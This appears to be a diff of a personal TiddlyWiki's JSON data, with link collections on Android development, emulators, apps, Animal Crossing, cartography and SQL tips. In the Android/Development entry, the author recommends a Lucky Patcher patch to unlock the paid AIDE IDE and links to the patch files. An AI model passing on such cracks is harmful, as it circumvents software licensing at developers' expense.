on other ROMs), a cache for the built-in gallery face recognition system... only question is, why is this just on `/sdcard` and not in a proper cache directory? other people say it's used by the Android system in general, don't know if they have a Samsung ROM or not --- also see on \u003C\u003CRedditL r/Android/comments/2jm9j7/i_found_a_hidden_folder_called_face_on_my_phone/>>\n* [[How to Downgrade an Android App Using ADB Without Losing Data|https://www.makeuseof.com/downgrade-android-app-with-adb/]]\n\n* [[SDK Platform release notes|https://developer.android.com/tools/releases/platforms]] --- //release information about the SDK packages available//\n\n!!! ''Emulation / Containerization''\n\n* ''Anbox'' (discontinued) - //Android in a Box// - [[[Git|https://github.com/anbox]]]\n* Android Studio Emulator (see below)\n* https://www.apkonline.net/free-android-online-emulator\n* https://appetize.io/demo?device=pixel7&osVersion=13.0&scale=75&deviceColor=black\n* https://www.bluestacks.com/\n* ''[[WayDroid|https://waydro.id/]]'' - //container-based approach to boot a full Android system on a regular GNU/Linux system// - [[[Git|https://github.com/waydroid]]]\n* [[docker-android|https://github.com/budtmo/docker-android]] --- //Android in docker solution with noVNC supported and video recording// --- Many system options but subpar performance (high latency) and weird UI, don't reccomend.\n\n* [[VirtualXposed|https://vxposed.com/]] --- Secondary app container for Android with virtualized root access (totally broken on Android >= 12) --- \u003C\u003C#[ Git \"https://github.com/android-hacker/VirtualXposed\">>\n* [[VMOS|https://www.vmos.com/]], VPhoneGaga --- Apps for virtualizing an almost-full Android system with only userspace access (apparently don't work on Android 13+)\n\n\u003C\u003C{^ \"\"\"Android/Development\"\"\">>\n\n!!! ''Memes''\n* [[POV: You bought a Samsung House in the year 2030|https://t.me/ioctt/19547]]\n"}, {"title":"Android/Apps","created":"20230205151705787","creator":"Octt","modified":"20231221161159437","modifier":"Octt","tags":"","text":"List of some Android apps to keep in mind that are not mentioned in any other tiddler.\n\n* AccA\n* Activity Launcher\n* AdAway\n* AIDA64\n* Andronix\n* Antutu\n* B612\n* Color\n* Cryptomator\n* dotpict\n* Gadgetbridge\n* ibisPaint X\n* Linux Deploy \n* Material Files\n* Mi Remote\n* MiXplorer\n* Music Player F-Droid\n* NeoBackup\n* NewPipe\n* News Provider\n* OpenBoard\n* Open Camera\n* PCAPdroid\n* PocketMaps\n* Pydroid 3\n* QR & Barcode Scanner\n* Quill\n* Readrops\n* Rekado\n* SAI\n* ScreenStreamer\n* Seal\n* Sketchware Pro\n* StreetComplete\n* Squircle IDE\n* SuperFreezZ\n* Tiddloid\n* Tor Browser\n* Transdroid\n* Unexpected Keyboard\n* UserLAnd\n* WiGLE WiFi\n"}, -{"title":"Android/Development","created":"20230217221957113","creator":"Octt","modified":"20231224164734893","modifier":"Octt","tags":"","text":"!!! ''Development''\n\n* [[ADB (Android Debug Bridge)|https://developer.android.com/tools/adb]]\n\n!!!! ''Apps'' and the likes\n\n; Lego block development: \n: [[Sketchware Pro|https://sketchware-pro.ga/]] - //Open-source mod of the proprietary and discontinued Sketchware app, for developing directly on Android// - [[[Git|https://github.com/Sketchware-Pro/]]]\n: [[MIT App Inventor|https://appinventor.mit.edu/]] - //Before Sketchware, we had this//\n\n; Minimalist development\n: [[How can I build an Android apk without Gradle on the command line?|https://stackoverflow.com/questions/41132753/how-can-i-build-an-android-apk-without-gradle-on-the-command-line]]\n: [[Tiny Android Template|https://github.com/jbendtsen/tiny-android-template]] - //Minimalist Android Project w/o Gradle//\n: \u003Cdiv>\n\n* [[How to do Android development faster without Gradle|https://authmane512.medium.com/how-to-do-android-development-faster-without-gradle-9046b8c1cf68]] - (Old, not recommended, use the above instead) [[[Git|https://github.com/authmane512/android-project-template]]]\n** Old version of this, has some useful insights: [[How to make Android apps without IDE from command line|https://authmane512.medium.com/how-to-build-an-apk-from-command-line-without-ide-7260e1e22676]]\n\u003C/div>\n\n; Classic development\n: \u003Cdiv>\n\n* [[Android Studio|https://developer.android.com/studio]] by Google - Also includes the Android Emulator and some other tools - Warning: IntelliSense is very broken (at least for me)\n** [[Why is Android Studio so buggy and Android development so frustrating?|https://libreddit.kavin.rocks/r/androiddev/comments/yocva7/why_is_android_studio_so_buggy_and_android/]]\n\u003C/div>\n\n; Classic development, directly on an Android:\n: With these apps it's also easy to compile for very old API targets, unlike Gradle or Android Studio where it's basically impossible today\n: [[Anacode IDE|http://www.anacodeide.com/home]] - [\u003C\u003CGPlayLink com.majosoft.anacode>>] - The app is freemium and apparently gives you 5-minute waits between build attempts after you build idk how many times (3? 5?)\n: AIDE //IDE for Android// - [\u003C\u003CGPlayLink com.aide.ui>>] - This app is freemium but honestly unusable without paying the montly/annual fee (for example, you can't save code you edit after a while); ''grab patch for [[Lucky Patcher]]'' [[here|https://patch.chelpus.com/custom-patch-for-aide-ide-for-android-java-c++/3.2.210316]] or [[here|https://patch.chelpus.com/custom-patch-for-aide-ide/3.2.210316]] (I don't understand why the app name is different)\n\n; Guides, Snippets, Problems\n: \u003Cdiv>\n\n* [[Add custom headers to WebView resource requests|https://stackoverflow.com/questions/7610790/add-custom-headers-to-webview-resource-requests-android]]\n* [[Using headers from a WebView.load(...) response|https://gist.github.com/kmerrell42/b4ff31733c562a3262ee9a42f5704a89]]\n* [[Intercept and override HTTP requests from WebView|https://stackoverflow.com/questions/4780899/intercept-and-override-http-requests-from-webview]]\n** [[Intercept all requests in WebView on Android|https://medium.com/@madmuc/intercept-all-network-traffic-in-webkit-on-android-9c56c9262c85]]\n** [[Intercepting and Blocking Requests|https://joshuatz.com/posts/2021/webview-intercepting-and-blocking-requests/]]\n* [[Android Webview - Completely Clear the Cache|https://stackoverflow.com/questions/2465432/android-webview-completely-clear-the-cache]] --- `webview.clearCache(true);` (note, this doesn't automatically reload the page)\n* [[How to implement @JavascriptInterface for android webview in Kotlin|https://stackoverflow.com/questions/62937014/how-to-implement-javascriptinterface-for-android-webview]]\n* [[Android Calling JavaScript functions in WebView|https://stackoverflow.com/questions/4325639/android-calling-javascript-functions-in-webview/31291128#31291128]] --- `webview.evaluateJavascript(\"obj()\", null)` on >= 4.4, otherwise `webview.loadUrl(\"javascript:obj()\")`\n\u003C/div>\n: [[Android Icon Size guide for Android 6 Marshmallow|https://www.creativefreedom.co.uk/icon-designers-blog/android-icon-size-guide/]]\n: [[How to rename an Android Studio Project|https://www.delasign.com/blog/android-studio-rename-project/]] --- //A step by step guide on renaming an Android Studio project. Open Source Kotlin Android project included.//\n: \u003Cdiv>\n\n* [[why setCanceledOnTouchOutside(false) doesn't work in Alert builder?|https://stackoverflow.com/questions/13526690/why-setcanceledontouchoutsidefalse-doesnt-work-in-alert-builder]]\n* [[How to prevent a dialog from closing when a button is clicked|https://stackoverflow.com/questions/2620444/how-to-prevent-a-dialog-from-closing-when-a-button-is-clicked]]\n* [[Best way to secure Android app sensitive Data?|https://stackoverflow.com/questions/8184492/best-way-to-secure-android-app-sensitive-data/8184699#8184699]]\n* [[New Android Project named after Main Activity instead of app name|https://stackoverflow.com/questions/12084299/new-android-project-named-after-main-activity-instead-of-app-name]] --- //In the manifest file, you are able to set one label for the launcher icon, and another for the activity. The app name is set in the intent filter, like this: `\u003Cactivity ... > \u003Cintent-filter android:label=\"@string/app_name\"> ...`//\n* [[Proper way to create and access BroadcastReceiver inside MainActivity? (Kotlin)|https://stackoverflow.com/questions/69565210/proper-way-to-create-and-access-broadcastreceiver-inside-mainactivity-kotlin/69600790#69600790]]\n* [[Android check SharedPreferences for value type|https://stackoverflow.com/questions/29615920/android-check-sharedpreferences-for-value-type]] --- contains a solution for directly getting any item regardless of type, via `sharedPrefs?.all`\n* [[Detecting & sending SMS on Android 📮|http://web.archive.org/web/20220120020100/https://joaquimley.com/blog/detect-send-sms-android]] \u003C\u003C[# \"On Medium\" \"https://medium.com/android-news/detecting-sending-sms-on-android-8a154562597f\">>\n\u003C/div>\n\n!!!! ''Hacking / Modding''\n\n* ''[[Apktool|https://ibotpeaches.github.io/Apktool/]]'' - //A tool for reverse engineering Android apk files// - [[[Git|https://github.com/iBotPeaches/Apktool]]]\n* ''APK Editor'' - //Edit APK Files inside your Android phone! Enjoy Hacking!// - [[[APKPure|https://m.apkpure.com/apk-editor-android/com.gmail.heagoo.apkeditor]]] [[[Uptodown|https://apk-editor.en.uptodown.com/android]]] - Can do about the same things as Apktool, but it's an Android app. It's apparently abandonware, and the pro version has more features. - [[[Pro (ApkBe)|https://en.apkbe.com/app/com.gmail.heagoo.apkeditor.pro]]]\n** The same developer offers other various apps that may be of related interest (also abandoned).\n* ''jadx'' - //Dex to Java decompiler// - [[[Git|https://github.com/skylot/jadx]]]\n\n; Problems, Snippets, Guides\n: [[Reverse Engineering and Analyzing Android Apps: A Step-by-Step Guide|https://medium.com/@asmaeziani47/reverse-engineering-and-analyzing-android-apps-a-step-by-step-guide-67b8af9bf152]]\n: [[Flashing Stock or Custom Firmware with Heimdall (on linux)|https://www.simernes.com/?p=279]]\n"}, +{"title":"Android/Development","created":"20230217221957113","creator":"Octt","modified":"20240119145813252","modifier":"Octt","tags":"","text":"!!! ''Development''\n\n* \u003C\u003CRedditL r/androiddev/comments/18ysf26/why_is_the_android_documentation_so_poor/ \"Why is the android documentation so poor?\">>\n\n* [[ADB (Android Debug Bridge)|https://developer.android.com/tools/adb]]\n\n!!!! ''Apps'' and the likes\n\n; Lego block development: \n: [[Sketchware Pro|https://sketchware-pro.ga/]] - //Open-source mod of the proprietary and discontinued Sketchware app, for developing directly on Android// - [[[Git|https://github.com/Sketchware-Pro/]]]\n: [[MIT App Inventor|https://appinventor.mit.edu/]] - //Before Sketchware, we had this//\n\n; Minimalist development\n: [[How can I build an Android apk without Gradle on the command line?|https://stackoverflow.com/questions/41132753/how-can-i-build-an-android-apk-without-gradle-on-the-command-line]]\n: [[Tiny Android Template|https://github.com/jbendtsen/tiny-android-template]] - //Minimalist Android Project w/o Gradle//\n: \u003Cdiv>\n\n* [[How to do Android development faster without Gradle|https://authmane512.medium.com/how-to-do-android-development-faster-without-gradle-9046b8c1cf68]] - (Old, not recommended, use the above instead) [[[Git|https://github.com/authmane512/android-project-template]]]\n** Old version of this, has some useful insights: [[How to make Android apps without IDE from command line|https://authmane512.medium.com/how-to-build-an-apk-from-command-line-without-ide-7260e1e22676]]\n\u003C/div>\n\n; Classic development\n: \u003Cdiv>\n\n* [[Android Studio|https://developer.android.com/studio]] by Google - Also includes the Android Emulator and some other tools - Warning: IntelliSense is very broken (at least for me)\n** [[Why is Android Studio so buggy and Android development so frustrating?|https://libreddit.kavin.rocks/r/androiddev/comments/yocva7/why_is_android_studio_so_buggy_and_android/]]\n\u003C/div>\n\n; Classic development, directly on an Android:\n: With these apps it's also easy to compile for very old API targets, unlike Gradle or Android Studio where it's basically impossible today\n: [[Anacode IDE|http://www.anacodeide.com/home]] - [\u003C\u003CGPlayLink com.majosoft.anacode>>] - The app is freemium and apparently gives you 5-minute waits between build attempts after you build idk how many times (3? 5?)\n: AIDE //IDE for Android// - [\u003C\u003CGPlayLink com.aide.ui>>] - This app is freemium but honestly unusable without paying the montly/annual fee (for example, you can't save code you edit after a while); ''grab patch for [[Lucky Patcher]]'' [[here|https://patch.chelpus.com/custom-patch-for-aide-ide-for-android-java-c++/3.2.210316]] or [[here|https://patch.chelpus.com/custom-patch-for-aide-ide/3.2.210316]] (I don't understand why the app name is different)\n\n; Guides, Snippets, Problems\n: \u003Cdiv>\n\n* [[Add custom headers to WebView resource requests|https://stackoverflow.com/questions/7610790/add-custom-headers-to-webview-resource-requests-android]]\n* [[Using headers from a WebView.load(...) response|https://gist.github.com/kmerrell42/b4ff31733c562a3262ee9a42f5704a89]]\n* [[Intercept and override HTTP requests from WebView|https://stackoverflow.com/questions/4780899/intercept-and-override-http-requests-from-webview]]\n** [[Intercept all requests in WebView on Android|https://medium.com/@madmuc/intercept-all-network-traffic-in-webkit-on-android-9c56c9262c85]]\n** [[Intercepting and Blocking Requests|https://joshuatz.com/posts/2021/webview-intercepting-and-blocking-requests/]]\n* [[Android Webview - Completely Clear the Cache|https://stackoverflow.com/questions/2465432/android-webview-completely-clear-the-cache]] --- `webview.clearCache(true);` (note, this doesn't automatically reload the page)\n* [[How to implement @JavascriptInterface for android webview in Kotlin|https://stackoverflow.com/questions/62937014/how-to-implement-javascriptinterface-for-android-webview]]\n* [[Android Calling JavaScript functions in WebView|https://stackoverflow.com/questions/4325639/android-calling-javascript-functions-in-webview/31291128#31291128]] --- `webview.evaluateJavascript(\"obj()\", null)` on >= 4.4, otherwise `webview.loadUrl(\"javascript:obj()\")`\n\u003C/div>\n: [[Android Icon Size guide for Android 6 Marshmallow|https://www.creativefreedom.co.uk/icon-designers-blog/android-icon-size-guide/]]\n: [[How to rename an Android Studio Project|https://www.delasign.com/blog/android-studio-rename-project/]] --- //A step by step guide on renaming an Android Studio project. Open Source Kotlin Android project included.//\n: \u003Cdiv>\n\n* [[why setCanceledOnTouchOutside(false) doesn't work in Alert builder?|https://stackoverflow.com/questions/13526690/why-setcanceledontouchoutsidefalse-doesnt-work-in-alert-builder]]\n* [[How to prevent a dialog from closing when a button is clicked|https://stackoverflow.com/questions/2620444/how-to-prevent-a-dialog-from-closing-when-a-button-is-clicked]]\n* [[Best way to secure Android app sensitive Data?|https://stackoverflow.com/questions/8184492/best-way-to-secure-android-app-sensitive-data/8184699#8184699]]\n* [[New Android Project named after Main Activity instead of app name|https://stackoverflow.com/questions/12084299/new-android-project-named-after-main-activity-instead-of-app-name]] --- //In the manifest file, you are able to set one label for the launcher icon, and another for the activity. The app name is set in the intent filter, like this: `\u003Cactivity ... > \u003Cintent-filter android:label=\"@string/app_name\"> ...`//\n* [[Proper way to create and access BroadcastReceiver inside MainActivity? (Kotlin)|https://stackoverflow.com/questions/69565210/proper-way-to-create-and-access-broadcastreceiver-inside-mainactivity-kotlin/69600790#69600790]]\n* [[Android check SharedPreferences for value type|https://stackoverflow.com/questions/29615920/android-check-sharedpreferences-for-value-type]] --- contains a solution for directly getting any item regardless of type, via `sharedPrefs?.all`\n* [[Detecting & sending SMS on Android 📮|http://web.archive.org/web/20220120020100/https://joaquimley.com/blog/detect-send-sms-android]] \u003C\u003C[# \"On Medium\" \"https://medium.com/android-news/detecting-sending-sms-on-android-8a154562597f\">>\n\u003C/div>\n\n!!!! ''Hacking / Modding''\n\n* ''[[Apktool|https://ibotpeaches.github.io/Apktool/]]'' - //A tool for reverse engineering Android apk files// - [[[Git|https://github.com/iBotPeaches/Apktool]]]\n* ''APK Editor'' - //Edit APK Files inside your Android phone! Enjoy Hacking!// - [[[APKPure|https://m.apkpure.com/apk-editor-android/com.gmail.heagoo.apkeditor]]] [[[Uptodown|https://apk-editor.en.uptodown.com/android]]] - Can do about the same things as Apktool, but it's an Android app. It's apparently abandonware, and the pro version has more features. - [[[Pro (ApkBe)|https://en.apkbe.com/app/com.gmail.heagoo.apkeditor.pro]]]\n** The same developer offers other various apps that may be of related interest (also abandoned).\n* ''jadx'' - //Dex to Java decompiler// - [[[Git|https://github.com/skylot/jadx]]]\n\n; Problems, Snippets, Guides\n: [[Reverse Engineering and Analyzing Android Apps: A Step-by-Step Guide|https://medium.com/@asmaeziani47/reverse-engineering-and-analyzing-android-apps-a-step-by-step-guide-67b8af9bf152]]\n: [[Flashing Stock or Custom Firmware with Heimdall (on linux)|https://www.simernes.com/?p=279]]\n"}, {"title":"Android/Easter Eggs","created":"20230227223950556","creator":"Octt","modified":"20230227224447992","modifier":"Octt","tags":"","text":"!!! ''Android 7 (Nougat)''\n\n...\n\n!!! ''Android 11''\n\n; The Hidden\n: It's a re-proposal of Nougat's hidden cats egg\n"}, {"title":"Animal Crossing","created":"20230110225425199","creator":"Octt","icon":"🍃","modified":"20231111000325649","modifier":"Octt","page-cover":"https://source.unsplash.com/random?Animal_Crossing","tags":"Nintendo $:/i18n:en Game Proprietary","text":"\u003C\u003C^wikipediaframe \"Animal Crossing\">>\n\n; What I like\n: The games' atmosphere is totally relaxing, with its cartoon style and time-based ambient music, you just stay in the chill.\n: There are year-based events, like festivities happening at specific times, or non-festive occourrences that sometimes happen (tournaments and the like).\n: The game is generally open-ended; you have set goals you can pursue but are in general free to do all the game's activities.\n: A kind of lore is present (but more in the older games). Very intriguing because it's kind of hidden and made from many different fragments.\n\n; What I don't like\n: Every new game has been more soulless than the previous, making the dialogues less engaging, more shallow and repetitive. \u003Cdd>\nThis is a shared sentiment: (TODO: link videos, forum threads, and other resources here)\n\u003C/dd> \u003Cdd>\nFor example, in New Horizons every animal villager is simply its personaliity stereotype, and doesn't really have an unique identity.\n\u003C/dd>\n: Since the games are closed-source, it would be almost impossible to mod one to fix the bad parts and unite the good parts from all games (in fact, no one has successfully done it yet, only minor mods and cheats exist).\n: [[Some festivities are exclusive|https://nookipedia.com/wiki/Event/New_Leaf]] to the release of the game in specific reason, and some releases only have some languages, and I know this is to make the game paletable and relatable to the general public, but it pisses me off. \u003Cdd>\nI can't for example really play Japan festivities because only the Japan ROM includes them, but that ROM only includes the Japanese language, which I don't understand.\n\u003C/dd>\n: The above used to apply to features too, for what concerns the GameCube game, but fan translation projects of the Japanese GameCube games exist today\n\n!!! ''Resources''\n\n* [[Decompilation of Animal Forest (zeldaret)|https://github.com/zeldaret/af]]\n* [[ac-decomp|https://github.com/Prakxo/ac-decomp]] --- //Decompilation in progress of Animal Crossing for the Nintendo GameCube//\n* [[marcrobledo acnl-editor|https://www.marcrobledo.com/acnl-editor/]] --- //An Animal Crossing: New Leaf savegame editor made in HTML5// --- \u003C\u003C#[ Git \"https://github.com/marcrobledo/acnl-editor\">>\n\n; Content\n\n: \u003Cdt> Animali Crostini 🍃 (Animal Crossing Moments)\n\u003C/dt> \u003Cdd> [[Telegram]]: [[@Animali_Crostini|https://t.me/Animali_Crostini]] - \u003C\u003C[ \"[[Backup|https://t.me/+nrhr1RXuNc4xMjJh]]\">> \n\u003C/dd> \u003Cdd> [[Matrix]]: \u003C\u003CMatrixLink \"#Animali_Crostini:matrix.org\" \"#Animali_Crostini:matrix.org\">> \n\u003C/dd>\n\n: [[JVGS|https://www.jvgs.net/]] (blogs, documentation, microblogs, YouTube)\n"}, {"title":"Anti-Capitalist Software License:en","created":"20230128233320444","creator":"Octt","modified":"20230206111552063","modifier":"Octt","tags":"TODO Legal $:/i18n:en","text":"The ''Anti-Capitalist Software License'' (''ACSL'') is a license for proprietary software that, while with some good intentions, has a questionable implementation resulting in bad qualities. It's not open-source, and thus should be avoided for most projects. I don't think it could hold in a court of law.\n\n* Website: [[anticapitalist.software|https://anticapitalist.software]]\n\nI've seen a number higher than one of modified versions of this license in the wild:\n\n* Form promoting the anti-cryptocurrency narrative: https://github.com/Lana-chan/webgbcam/raw/main/LICENSE - It adds: \"//5. The User must not be involved in Non-Fungible Tokens or any other form of cryptocurrency minting or exchange.//\"\n"}, @@ -1102,7 +1103,7 @@ {"title":"C++","created":"20231115233135878","creator":"Octt","modified":"20231223210119928","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe C++>>\n\n* [[ISO C++ Standard Foundation|https://isocpp.org/]]\n* [[mixing c and cpp|https://isocpp.org/wiki/faq/mixing-c-and-cpp]]\n** [[What is the effect of extern \"C\" in C++?|https://stackoverflow.com/questions/1041866/what-is-the-effect-of-extern-c-in-c]], and how to use it in practice to effectively mix C and C++\n* [[mingw - compiling g++ programs for windows 98?|https://stackoverflow.com/questions/25596221/g-programs-for-windows-98#50849554]]\n"}, {"title":"Calculator","created":"20230215213812453","creator":"Octt","modified":"20230217143401588","modifier":"Octt","text":"\u003C\u003C^WikipediaFrame Calculator en>>\n\n!!! ''Resources''\n\n; Some Calculators\n: \u003C\u003CYoutubeL Ong91Ji3iDk \"EEVblog #1159 - World's Most Precise Pocket Calculator\">>\n\n; Curiosities\n: \u003C\u003CYoutubeL waqDoeQ0Ijw \"Calculator Number Trick: rectangle patterns [Stand-up Maths]\">>\n: \u003C\u003CYoutubeL ihK6MKbHvSc \"How does a calculator work? The magic of the 8-digit four function calculator\">>\n: (Casio) \u003C\u003CYoutubeL 7LKy3lrkTRA \"Why do calculators get this wrong? (We don't know!) [Stand-up Maths]\">>\n: \u003C\u003CYoutubeL dTLhXHyzfEM \"Whats Inside Black Stuff in Calculator Circuit board IC\">>\n\n; DIY, Hacks, Reuses\n: \u003Cdiv>\n\n* \u003C\u003CYoutubeL dJoKl0LK5jM \"HHC 2019: DIY Calculators\">>\n* \u003C\u003CYoutubeL lJu1ij_Emlk \"Ben Heck’s DIY Raspberry Pi Calculator\">>\n* \u003C\u003CYoutubeL HeJPX-fPN6Y \"DIY graphics calculator galdeano02 hardware\">> - //A DIY calculator, programed in micropython, a custom version with lvgl widgets and Eigenmath, a CAS engine//\n* \u003C\u003CYoutubeL m1aFRhqvuLM \"IVEE - a Powerful Programable RPN Calculator based on FORTH and Arduino\">>\n\u003C/div>\n\n: \u003Cdiv>\n\n* \u003C\u003CYoutubeL QlpZyf7hKg8 \"Coil winding counter from old calculator - home made DIY מונה ליפוף סלילים\">>\n** \u003C\u003CYoutubeL TWPS0lI33Mc \"How to make a calculator coil winding counter with a retractable USB cable\">>\n\u003C/div>\n: \u003C\u003CYoutubeL U8DnuSo8SV4 \"EEVblog #962 - Hacking A Calculator Into A Counter\">>\n: \u003C\u003CYoutubeL T9alyB4fznw \"Hacking a pocket calculator as LCD for the Arduino\">>\n: \u003C\u003CYoutubeL EzkUPGPEVp8 \"Turning my High School Calculator into a Mechanical Keyboard. 1 Year Review. [TheLastMillennial]\">>\n\n; Memes\n: [[Fuck man, the Mulino Bianco calculator can make Square Root|https://web.archive.org/web/20230217134036id_/https://i.imgur.com/sM5KmoK.png]]\n: \u003C\u003CYoutubeL \"PLt5AfwLFPxWKAINNfxIdYmFVKuk_F_cQq\" \"Calculator Unboxings on Numberphile\" \"playlist?list=\">>\n: \u003C\u003CYoutubeL Mp_8OqCbFt4 \"POWER OF GAMING CALCULATOR😱⚡\">>\n: \u003C\u003CYoutubeL AAw1JjN-7u0 \"When You Are Game Addicted - Casio Calculator Play Racing Game Asphalt\">>\n"}, {"title":"Candle","created":"20230225111237015","creator":"Octt","icon":"🕯️","modified":"20230225111724354","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?Candle","tags":"","text":"\u003C\u003C^wikipediaframe Candle en>>"}, -{"title":"Cartography","created":"20231111233128372","creator":"Octt","modified":"20231221163333560","modifier":"Octt","tags":"Geography","text":"\u003C\u003C^wikipediaframe Cartography>>\n\n* \u003C\u003Clinkdescgit OpenStreetMap\"https://www.openstreetmap.org/\" \"largest community-created geospatial project of all time\" \"https://github.com/openstreetmap\">>\n** \u003C\u003Clinkdescgit OsmAnd\"https://osmand.net/\" \"Offline Maps and Navigation\" \"https://github.com/osmandapp\">>, primarily for Android but a webapp is WIP\n* \u003C\u003Clinkdescgit Leaflet\"https://leafletjs.com/\" \"🍃 JavaScript library for mobile-friendly interactive maps\" \"https://github.com/Leaflet\">>\n"}, +{"title":"Cartography","created":"20231111233128372","creator":"Octt","modified":"20240119164516295","modifier":"Octt","tags":"Geography","text":"\u003C\u003C^wikipediaframe Cartography>>\n\n* \u003C\u003Clinkdescgit OpenStreetMap\"https://www.openstreetmap.org/\" \"largest community-created geospatial project of all time\" \"https://github.com/openstreetmap\">>\n** \u003C\u003Clinkdescgit OsmAnd\"https://osmand.net/\" \"Offline Maps and Navigation\" \"https://github.com/osmandapp\">>, primarily for Android but a webapp is WIP\n** [[Organic Maps|https://organicmaps.app/]] --- //Organic Maps is a free Android & iOS offline maps app for travelers, tourists, hikers, and cyclists. It uses crowd-sourced OpenStreetMap data.// --- \u003C\u003C[# Git\"https://github.com/organicmaps/organicmaps\">>\n* \u003C\u003Clinkdescgit Leaflet\"https://leafletjs.com/\" \"🍃 JavaScript library for mobile-friendly interactive maps\" \"https://github.com/Leaflet\">>\n"}, {"title":"CASIO","created":"20230205150537106","creator":"Octt","modified":"20230205150543738","modifier":"Octt","tags":"TODO"}, {"title":"Celeste","created":"20230112100848709","creator":"Octt","icon":"🧗♀️","modified":"20230225184006617","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?Celeste","tags":"TODO Platformer $:/i18n:en Game $:/Games","text":"\u003C\u003C^wikipediaframe \"Celeste (video game)\" en>>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://www.lexaloffle.com/bbs/widget.php?pid=15133\" \" \" 'style=\"width:100%; height:512px\"'>>"}, {"title":"Character Art","created":"20230216224705472","creator":"Octt","modified":"20230527080448851","modifier":"Octt","tags":"Digital Art Visual","text":"Aka [[ASCII Art]] (which before computers was [[Typewriter Art]], or [[ANSI Art]].\n\n* [[Moebius|https://blocktronics.github.io/moebius/]] --- //Modern ANSI & ASCII Art Editor// --- \u003C\u003C[ \"[[Git|https://github.com/blocktronics/moebius]]\">>\n"}, @@ -1131,10 +1132,10 @@ {"title":"Data recovery","created":"20231106235418371","creator":"Octt","modified":"20231106235541279","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Data recovery\">>\n\n* [[CGSecurity Wiki|https://www.cgsecurity.org/wiki/Main_Page]] --- home of the TestDisk and PhotoRec programs, plus some other tools and documentation\n"}, {"title":"Data serialization","created":"20231223143928533","creator":"Octt","modified":"20231223144025192","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Data serialization\">>\n\n* [[JSON is valid YAML|https://til.codeinthehole.com/posts/json-is-valid-yaml/]]\n\n!! YAML\n\n\u003C\u003C^WikipediaFrame \"YAML\">>\n\n* [[YAML Lint Online|https://www.yamllint.com/]]\n* [[YAML to JSON Converter Online|https://yml2json.com/]]\n\n!! INI\n\n\u003C\u003C^WikipediaFrame \"INI file\">>\n\n!!! TOML\n\n\u003C\u003C^WikipediaFrame \"TOML\">>\n"}, {"title":"Data storage","created":"20231104231609952","creator":"Octt","modified":"20231220183517988","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Data storage\">>\n\n* \u003C\u003Clinkdescgit \"f3 - Fight Flash Fraud\" \"https://fight-flash-fraud.readthedocs.io/en/stable/\" \"simple tool that tests flash cards capacity and performance to see if they live up to claimed specifications\" \"https://github.com/AltraMayor/f3\">>\n* [[Storj|https://storj.io]] --- //Decentralized cloud object storage that is affordable, easy to use, private, and secure.// --- \u003C\u003C[# Git\"https://github.com/storj\">>\n"}, -{"title":"Database","created":"20231223234312578","creator":"Octt","modified":"20231223234827077","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Database>>\n\n!! SQL\n\n\u003C\u003C^wikipediaframe SQL>>\n\n!!! MySQL \\ MariaDB\n\n\u003C\u003C^wikipediaframe MySQL>>\n\u003C\u003C^wikipediaframe MariaDB>>\n\n* [[How to install MySQL (MariaDB) on Android with Termux|https://parzibyte.me/blog/en/2019/04/16/install-mysql-mariadb-android-termux/]]\n* [[--skip-grant-tables option cannot execute statement|https://stackoverflow.com/questions/54751024/skip-grant-tables-option-cannot-execute-statement]] --- in `mysql>` execute `flush privileges`\n"}, +{"title":"Database","created":"20231223234312578","creator":"Octt","modified":"20240119162211752","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Database>>\n\n!! SQL (Structured Query Language)\n\n\u003C\u003C^wikipediaframe SQL>>\n\n* [[SQL Tutorial - Essential SQL For The Beginners|https://www.sqltutorial.org/]], //helps you get started with SQL quickly and effectively through many practical examples.//\n\n* [[SQL Server reverse order after using desc|https://stackoverflow.com/questions/12534248/sql-server-reverse-order-after-using-desc]] --- just use a subselect subquery, `SELECT * FROM (... ORDER BY x DESC) _ ORDER BY x ASC`\n* [[How to count instances of character in SQL Column|https://stackoverflow.com/questions/1860457/how-to-count-instances-of-character-in-sql-column#1860478]] --- `SELECT LEN(col) - LEN(REPLACE(col, 'x', ''))`\n** [[SQL String: Counting Words inside a String|https://stackoverflow.com/questions/41952250/sql-string-counting-words-inside-a-string]] --- various methods more specially catered for counting words, than the naive space counting\n** Note: for counting in many rows together, the `SUM()` function must be used, [[or else you will go mad like me|https://chat.openai.com/share/5883b4c6-37cf-40e3-b735-9cd52b26020c]]\n\n!!! MySQL \\ MariaDB\n\n\u003C\u003C^wikipediaframe MySQL>>\n\u003C\u003C^wikipediaframe MariaDB>>\n\n* [[How to install MySQL (MariaDB) on Android with Termux|https://parzibyte.me/blog/en/2019/04/16/install-mysql-mariadb-android-termux/]]\n* [[--skip-grant-tables option cannot execute statement|https://stackoverflow.com/questions/54751024/skip-grant-tables-option-cannot-execute-statement]] --- in `mysql>` execute `flush privileges`\n\n* [[MySQL LENGTH() Function|https://www.w3schools.com/sql/func_mysql_length.asp]] (not LEN on MySQL!)\n"}, {"title":"Demoscene","created":"20230425095136540","creator":"Octt","modified":"20231107212630799","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Demoscene>>\n\n* \u003C\u003ChttpsL www.untergrund.net>> --- //free hosting service for demoscene related projects//\n\n\u003C\u003C{ \"Tech Art\">>\n"}, {"title":"Development","created":"20230613185754543","creator":"Octt","modified":"20231227013022723","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Software development\">>\n\n!!! Tools\n\n* [[AST explorer|https://astexplorer.net/]] --- //A web tool to explore the ASTs generated by various parsers.// --- \u003C\u003C[# Git\"https://github.com/fkling/astexplorer\">>\n** [[metajs|http://www.jezng.com/metajs/]] --- //visualize javascript AST execution// --- \u003C\u003C[# Git\"https://github.com/int3/metajs\">>\n* [[NamsoGen|https://namso-gen.com]] --- //Your Testing Toolkit//\n\n!!! Resources\n\n* \u003C\u003CWikipediaL \"Dependency hell\">>\n\n* \u003C\u003CRedditL r/webdev/comments/spr2db/confused_about_web_app_architecture_and/ \"Confused about web app architecture and separation of frontend and backend\">>\n* [[What package naming convention do you use for personal/hobby projects|https://stackoverflow.com/questions/292169/what-package-naming-convention-do-you-use-for-personal-hobby-projects-in-java]] in 